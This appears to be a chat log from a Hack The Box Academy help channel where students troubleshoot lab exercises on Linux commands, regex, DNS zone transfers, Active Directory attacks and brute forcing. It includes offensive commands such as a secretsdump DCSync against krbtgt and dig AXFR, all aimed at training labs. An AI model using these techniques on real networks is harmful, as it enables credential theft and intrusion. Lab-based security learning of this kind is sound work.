" What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?"
i tried the command : find -type f -newermt 2020-03-03 -size -28k -size +25k
i have the Vscodium output file but it's the only file and it's the wrong answer

fathom pendant
fathom pendant
dire granite
agile torrent
#

doesn't find require the path? otherwise it'll start its search from where you are (currently htb-student's home dir), which wont be an awful lot

#

try adding / at the end to search the whole system

agile torrent
#

and maybe 2>/dev/null if it starts spamming you with permission denied

fathom pendant
#

^ it will

charred fable
fathom pendant
#

Since / will attempt to also search root protected dirs

fathom pendant
fathom pendant
#

"Line starts with" except some of the valid lines use #

sly dome
#

ask chatgpt but i would not "lose" too much time with that xd

fathom pendant
charred fable
sly dome
#

"now"

charred fable
#

i had forgotten s earlier

fathom pendant
#

Lol

fathom pendant
#

Btw

dire granite
charred fable
next bronze
fathom pendant
dire granite
#

when i remove the wc i really have 634 path of different file

fathom pendant
fathom pendant
#

But 634 is irrelevant

dire granite
#

i dont find more hint in the question to filter more in the 634 files

agile torrent
#

i forget exactly how this question went, but it does mention config files

#

maybe something to do with the name, or the starting path?

dire granite
#

oh i found it

fathom pendant
#

^

#

-name "*.conf"

dire granite
#

yes thanks

fathom pendant
#

Btw they give you a search command in the examples :) which is also helpful

charred fable
#

so the .*\s if I want to filter lines start starts with Permit and. $ when it ends with Permit ? or is it only the -- *

fathom pendant
#

Like I said these prompts are kinda dumb because there's no "wrong/right" case

fathom pendant
#

It's looking for words that start with Permit

charred fable
#

sorry i meant words

fathom pendant
#

I.e. if you know that a line starts with Bob and ends with Lisa but don't care what's in between you'd use "^Bob.*Lisa$"

#

But like I said this is dumb, as some of the lines start with #

#

So you'd need to filter the line starts with ones with both "(^#\bSearch|^Search)"

#

If you do wanna look through the resources me and xreous sent, feel free - RegEx is really good to learn

fathom pendant
severe eagle
fathom pendant
#

Should be a static compile option for it, I think it's been mentioned before

charred fable
#

Login$

fathom pendant
#

$ is the end of line character

#

"(^|\b).*Login(\b)"

#

\b is "word boundary" meaning a space/anything that separates it

charred fable
#

ok but It also shows me the word that begins with Login

#

dont I need the $

fathom pendant
#

Also to get a word only it's "\bLogin.*\b"

charred fable
#

shows nothing without the |

fathom pendant
#

?

#

None of the examples have you search "Login"

charred fable
#

no im trying out tryna learn it

charred fable
fathom pendant
#

OK after some digging using your keyword are you trying to search for just the one that *starts with Login(Whatever)?

charred fable
#

ok when I tried yes it worked .. =/

fathom pendant
#

So you'll need to add the # character in it. No lines end with Login in that file

rustic sage
#

hey guys is there some online hack testing servers, i mean servers which i can try to access through nmap and all for practicing. ik there's HTB labs but i haven't dived much into it. is it free? can i access it through local pc or does it have in built terminal?

fathom pendant
frail ruin
#

hi i need help with second order lfi challange anyone?

fathom pendant
odd idol
#

he guys i need help on Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer. i find all DNS subdoman but not txt flag at all of them 3 day i stock here please help

frail ruin
rustic sage
odd idol
#

ATTACKING COMMON SERVICES under Attack DNS

fathom pendant
rustic sage
#

alr i see

#

tysm

charred fable
#

"(^|\b).*yes(\b)"
shows me.
words space between the words and yes. like
pam yes
not yes
pass code yes
cpm uno yes

fathom pendant
#

Read #welcome on how to access more of the server btw @rustic sage

frail ruin
#

Anyone available for modern web exploitation - second order lfi question ?

fathom pendant
odd idol
#

hr.inlanefreight.htb ns.inlanefreight.htb control.inlanefreight.htb helpdesk.inlanefreight.htb i do for all of them no Flag i tired 😦

fathom pendant
charred fable
snow ridge
#

In module: PIVOTING, TUNNELING, AND PORT FORWARDING and in section: Meterpreter Tunneling & Port Forwarding

I get error when I try to run autoroute in metasploit, is it outdated script or something? Already tried to update metasploit to the newest version and running metasploit as root

rustic sage
odd idol
#

iknow is ns. and hr is correct but no flag on DNS records TXT

fathom pendant
#

You need to do a zone transfer

odd idol
#

mmmm zone transfer with ettercap ?

fathom pendant
#

Or dig

#

Literally just did it with dig

#

Don't need to do any type of mitm attack

odd idol
#

😢 3 day never have this time for small think like this

fathom pendant
#

Use brain

#

I even gave you the rough command

odd idol
#

they burn my barin really xD

#

THERE dig txt

fathom pendant
#

No

odd idol
#

CNAME

fathom pendant
#

Dude

#

The zone transfer command is given in this section

#

Or an example of it

odd idol
#

mmm i will seee now

fathom pendant
#

Just engage your brain a tiny bit, and read

#

And take notes when you're doing modules

#

If you are taking notes: your notes are shit smileW

odd idol
#

dig AXFR @ns.inlanefreight.htb inlanefreight.htb

; <<>> DiG 9.19.19-1-Debian <<>> AXFR @ns.inlanefreight.htb inlanefreight.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.

frail ruin
#

Anyone available for modern web exploitation - second order lfi question ?

odd idol
#

i find thanks

acoustic owl
fathom pendant
odd idol
#

finally i find

#

my god long time for this flag wow

#

thanks Marcielee

#

@fathom pendant Thanks

acoustic owl
frail ruin
# fathom pendant Just ask your question dude

i change filename to flag and username to admin, htb-admin, root and etc but can't read flag. I do it according to readin material with correct order. What i am doing wrong? username is guessy i think

severe eagle
#

anyone had any issues with dirtypipe exploit

odd idol
#

@acoustic owl yes i find it thanks i will care more on txt

acoustic owl
maiden field
#

When I want to login to splunk I get a 403 I have been having this error since yesterday 😦

acoustic owl
odd idol
maiden field
acoustic owl
maiden field
#

Yeah but I would need to setup the vpn and I don't really want to

ebon jasper
#

Hi everyone!
I need help with ADCS
I think there is technical problem with ADCS modul's ESC11. I took screenshots, you can see I can use hashes of "lab-dc" I got error, but I can dump hashes but they are belongs to lab-dc
I need hashes of "ws01"
When I try to use hash of "ws01" account I am getting exact same error, but I couldn't dump hashes. Why? What should I suppose to do?

PLEASE DO NOT DELETE. I GUARANTEE THERE IS NO SPOILER

#

I asked help from support in website, but I haven't get response yet

#

It's been 2 days I stuck

acoustic owl
ebon jasper
next bronze
#

why are you using secretsdump on ws01?

charred fable
#

why dont they work ?
$ chmod cdhmod a+r shell && ls -l shell
$ chmod 754 shell && ls -l shell

fathom pendant
#

Because you need to provide a file to chmod

ebon jasper
#

and I need Administrator's hash

next bronze
#

you dcsync'd DC didn't you?

ebon jasper
#

To be honest I didn't understand what you asked

charred fable
fathom pendant
next bronze
charred fable
#

bash : shell : command not found

fathom pendant
#

If not, then you need to create the file first

ebon jasper
# next bronze doing the ADCS module kinda require you to be familiar with the common AD attack...

Yes but that hash belongs to "lab-dc" hostname Module asking hash of ws01 which I couldn't get

I got .pfx file of "lab-dc" i couldn't get file of "ws01" but using pfx file I am abile to get .ccache file and hash of "lab-dc" account

Using only lab-dc hash I can dump all users hash including adminstrator but they are wrong because their hostname is "lab-dc" not ws01.

Then I realised I have ws01 accounts hash too. When I repeat proceess I couldn't get hashes of ws01

charred fable
fathom pendant
next bronze
ebon jasper
charred fable
fathom pendant
#

Yes

next bronze
ebon jasper
fathom pendant
charred fable
fathom pendant
#

¯_(ツ)_/¯

#

Idk what you did so can't tell you where you went wrong

next bronze
charred fable
#

sudo maybe

fathom pendant
#

^

#

Definitely, when you sudo it creates the file as root

ebon jasper
#

Thank you anyway I will try

next bronze
#

where are you gonna find ws01's local admin hash then?

ebon jasper
next bronze
#

secretsdump is for dcsync in this case, ws01 is not a DC

ebon jasper
charred fable
# fathom pendant ^

Ive tried

shell chmod a+r shell && ls -l shell
shell.txt chmod a+r shell %% ls-s shell.txt

#

shell.txt chmod a+r shell %% ls-s shell.t /etc/ssh/sshd_config

chmod missing operand

charred fable
next bronze
charred fable
oblique spoke
#

Hello! I got stucked at AD Enumeration & Attacks - Skills Assessment Part II. Currently I am Q4. I got a bunch of usernames by using crackmapexec --users with the creds that i found earlier. The question is "Use a common method to obtain weak credentials for another user. Submit the username for the user whose credentials you obtain". How can i find the user with weak credentials?

sly dome
oblique spoke
acoustic owl
oblique spoke
#

i was like creating pw list with spices and shit like that

sly dome
acoustic owl
#

No, it is not directly related to the assessment.
You simply try a lead-free password and see if you are lucky.
Since you don't know anything about the company and therefore can't use OSINT, you have to rely on the module.

oblique spoke
#

makes sense but still a bit twisted

crimson walrus
#

Hey guys, this question is not for a specific module but it definitely has to do with multiple modules (please refer me to the correct channel if this is not it). Do you know if its possible to use BurpSuite over a double pivot connection? I have a double pivot set up with chisel and I am trying to access a website in the second subnet. I can do it with proxychains curl but I cannot seem to figure out how to configure burp (or firefox) to be able to acess it?
PS I know ligolo-ng works better but I coulnd't use it in my situation

charred fable
#

I Typed chmod
chmod : missing operand
do I have to install something before using it

fathom pendant
#

No

#

Missing operand means that you're missing arguments

#

I.e. chmod 754 filename

#

Btw if you're changing shell.txt you need to specify the .txt

charred fable
#

I.e is new to me

fathom pendant
#

I.e. means for example

#

It's not a command

charred fable
#

ok my bad, english is not my motherlanguage

charred fable
fathom pendant
#

Why are you adding /etc/ssh/sshd_config

#

Break your command down into its components

#

But at this point I'm tired of trying to help through a language barrier

#

As it ends up flooding the channel

charred fable
fathom pendant
#

When I say break it down: what do you think I mean

#

Because I understand you want/need help. But you also need to learn how to rely on yourself in the absence of others

charred fable
#

man Im trying Ive been working with this for the last 7 hours

fathom pendant
#

Take a break and step away

charred fable
#

ok after this one

fathom pendant
#

Reading the manual and help of commands really is gonna be useful

#

If you're misunderstanding the module, then likely the translation/translator is missing something

charred fable
#

adding

fathom pendant
#

Yes one section of commands at a time

#

Break the command into the two halves

#

With && being the separator

charred fable
fathom pendant
#

Alright, there's your first clue

#

The file "shell" doesn't exist

#

You made shell.txt

#

Not 'shell'

charred fable
#

yes then I tried to create the shell both >shell.txt. >shell

fathom pendant
#

Take it step by step from the section in the module

charred fable
charred fable
#

only

shell

#

not at the same time

#

I meant not on the same line

fathom pendant
#

Do me a favor

charred fable
#

Ok now I can take a break

fathom pendant
#

So you can post screenshots

charred fable
fathom pendant
#

Yes you can ask questions

#

But without a screenshot a lot of what you're trying to say gets lost in translation

#

Leading to increased frustration

charred fable
#

aha ok , Im trying to run the identifier in bot-commands but it says its blocked

fathom pendant
#

"Blocked"

#

It's likely due to your messaging settings

#

Not allowed from anyone but friends

wind meadow
#

seems like i tried all the methods given

acoustic owl
silver iris
#

Hey guys, i´m currently stuck at the "Attacking Common Services - SQL" module.
I just can´t connect to the db no matter what i try.
With mssqlclient, it just hangs forever and gets connection timed out after a while and with sqsh it does not execute commands.

#

I restarted the box multiple time and changed my vpn file

#

pawnbox is the same thing

charred fable
latent sigil
#

why doesnt this work? skill assesemnt 2 attakcing common applications

latent sigil
#

bruh

#

🤦‍♂️

humble widget
#

Just wondering, has htb helped anyone get a job? Like with experience

humble widget
#

Says no access

fathom pendant
fallow snow
#

It seems you cannot link a HTB academy account to discord. Only a "main" HTB account can be linked

acoustic owl
ruby whale
#

I am stuck in 'Intro to Active Directory Module' while removing a user
In AD admnistration :Guided Part 1

At line:1 char:1
+ Remove-ADUser -Identity pvalencia
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (pvalencia:ADUser) [Remove-ADUser], UnauthorizedAccessException
    + FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.UnauthorizedAccessException,Microsoft.ActiveDirectory.Manag
   ement.Commands.RemoveADUser```
Is this right plaform to ask for help?
sly dome
#

url's have protocol

latent sigil
#

can someone explain why there's like two sections on reverse engineering in the attacking common applications and no where else in the path?

sly dome
#

just do it

#

you dont need a reason

latent sigil
#

hahaha

#

alright kek

shut wraith
#

Question

#

Is there a way to detect Server Side Include injections? Because there doesn't seem to be any evidence in the request/response...

azure dune
#

hi

wind meadow
#

taking 500 years to spawn a target

#

🤔

stone pasture
#

Guys need help I posted my question in support can someone help me?

charred fable
#

I have Mac and I want to use Parrot ISO what do you reccomend VMware Workstation Player or Oracle Virtual Box ???

stone pasture
fathom pendant
charred fable
stone pasture
fathom pendant
compact patrolBOT
stone pasture
#

Okay Thanks

inner talon
#

can someone help me with Broken authentication, predictable reset token?

mild cypress
#

Man, I've been stuck on Target is spawning... for a reallllly long time. I don't have anything else running, is there like... a cache I can clear or something 😓

glass cargo
#

hello everybody

nocturne dragon
mild cypress
charred fable
#

why cant I start the ovpn file I downloaded ?

#

what should I type in the terminal ?

fathom pendant
nocturne dragon
charred fable
fathom pendant
#

I'm assuming you're doing this from a linux vm

charred fable
#

🫣

glass cargo
#

use the command in the download folder

fathom pendant
#

Parrot is linux

#

I suggest visiting the "Setting Up" Module before moving forward

glass cargo
#

parrot os is bad, I tried a lot, but I couldn't run systems in virtual box, I ended up going back to kali linux

lusty thicket
fathom pendant
fathom pendant
glass cargo
# lusty thicket

bro, I had hardware problems also stereo sound and headphone did not work

charred fable
fathom pendant
#

There's also docs on the parrot site on how to install on virtualbox

faint rampart
#

lol

wheat garden
#
glass cargo
wheat garden
#

only took me like 2 fr@kin years nearly!

fathom pendant
#

Gg

prisma spruce
faint rampart
lusty thicket
wheat garden
faint rampart
nocturne dragon
unique palm
#

Hey guys im going insane. Im on the Attacking Domain Trust -> Child from Linux. Im trying to dcsync with secretsdump but i cant figure the password for the user needed. Here my command:

secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

anyone got a hint?

fathom pendant
charred fable
fathom pendant
#

Ah

#

That's entirely why then

#

The iso is for amd64 architecture, I take it your Mac likely has an M1/M2 chip

#

You'd need to download the ARM version

#

(Silicon)

#

Knowing which architecture your system is vastly increases your success at installing things

cold pilot
#

hello everyone, is anyone who is taking the learning path of web senior penetration tester in htb academy? I am legit stuck in this module of NoSQL injection https://academy.hackthebox.com/module/171/section/1684 if anyone knows this module could you please DM me privately? thank you so much 🙂

cedar yew
#

hello guy i have problem the footprint lab medium

lusty thicket
buoyant escarp
#

i have imported a exploit in metasploit-framework/modules/exploits/....
from inside of msfconsole i cant find it by using search Lightweight or similar
what am i doing wrong here?
im currently trying to exploit the blog aka Host2 from Shells & Payloads Assessments

cedar yew
#

I'm a bit new and after getting to a certain point in this room I got stuck.

buoyant escarp
#

im trying to look it up inside of msfc by searching for Parts inside the Name parameter

cedar yew
#

i found the nfs mount, i do and im found the username passwd

#

but i dont know tihs cred what i do

#

sorry my english im still learning

cold pilot
lusty thicket
cedar yew
#

tihs machine no have ssh

#

can i share screenshot

lusty thicket
buoyant escarp
fathom pendant
cedar yew
#

yes rdp i can try but terminal output old tls version and not working

cedar yew
fathom pendant
#

Tbh your limited English is going to be a really hard factor in assisting you. Unfortunately this server is English Only

cedar yew
#

no problem i can use translate

fathom pendant
#

There seems to be many gaps in what you know, and what the translator may misinterpret

#

Especially when acronyms get involved

fathom pendant
#

Careful with sharing things, as they may contain spoilers

cedar yew
#

okey sorry

fathom pendant
#

But RDP I can assure you is the next step

#

And lots of clicking things

cedar yew
#

oky i can try RDP

#

thx for helping

tender notch
#

@cedar yew check ur DM

native turtle
#

Hey guys I'm struggling with attacking common services lab easy, I found f username but I don't know why hydra fail when trying to brute force ftp service, it say [ERROR] Not an FTP protocol and terminate... is it normal for that box? I already tried to reset it

full nimbus
fathom pendant
#

Then you might need to browse for it with virtualbox it's not some magical oracle

#

You might need to point it to your downloads folder

charred fable
#

It works now ,, I had missed one thing

fathom pendant
#

👍

storm hedge
#

Hello,
I'm studying the dcsync attack and I have some question when kerberos is in use
Is the Drsuapi accessible over smb and named pipe?

wind meadow
#

should any of the nmap scans take a really long time?

storm hedge
#

@wind meadow it can take a long time if you scan all ports

wind meadow
#

yeah.. that's doing 'er

#

makes moving through modules real slow if you have to try multiply options to evade firewall scanning all ports

full nimbus
#

@wind meadow press enter should show progress when doing nmap

#

and as I said above, better use tcp based openvpn

wind meadow
#

i do

storm hedge
#

@wind meadow you can play with speed options like -T4 or -T5 or use the --top-ports option

wind meadow
#

im not learning anything waiting half hour for a scan to complete

native turtle
fathom pendant
#

Its likely a connection issue: basic scans should take about a minute also: try not to combine full port scans (-p-) with scripting or other extensive options

fathom pendant
#

That's odd if it's only letting 1, default is like 16 for ftp

full nimbus
#

remove -sC maybe

#

or any scripts you might use

native turtle
#

I don't know why it crash with -t higher than 1...

fathom pendant
#

Make sure you set the resources appropriately, 50% of your RAM and a good portion of storage

native turtle
#

I cannot found f password in the default list... arghhhh

native turtle
#

any hints?

fathom pendant
native turtle
#

it looks normally

fathom pendant
native turtle
#

30 ms

fathom pendant
#

Are you using the full username@domain or just username

native turtle
#

just username for ftp

fathom pendant
#

Weird. I don't recall any restrictions

acoustic owl
charred fable
native turtle
fathom pendant
acoustic owl
lusty thicket
lusty thicket
fathom pendant
nova nest
#

guys, where can i ask general questions?

fathom pendant
charred fable
fathom pendant
#

Generally your safe bubble is 50%

quiet heart
#

Hi, im stuck on :
ATTACKING COMMON SERVICES / Attacking DNS
Q: Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.

i try this:

 <<>> DiG 9.18.12-1~bpo11+1-Debian <<>> AXFR @IP inlanefreight.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.

WHAT CAN I DO?

fathom pendant
#

Shouldn't be

#

Though you might need to change language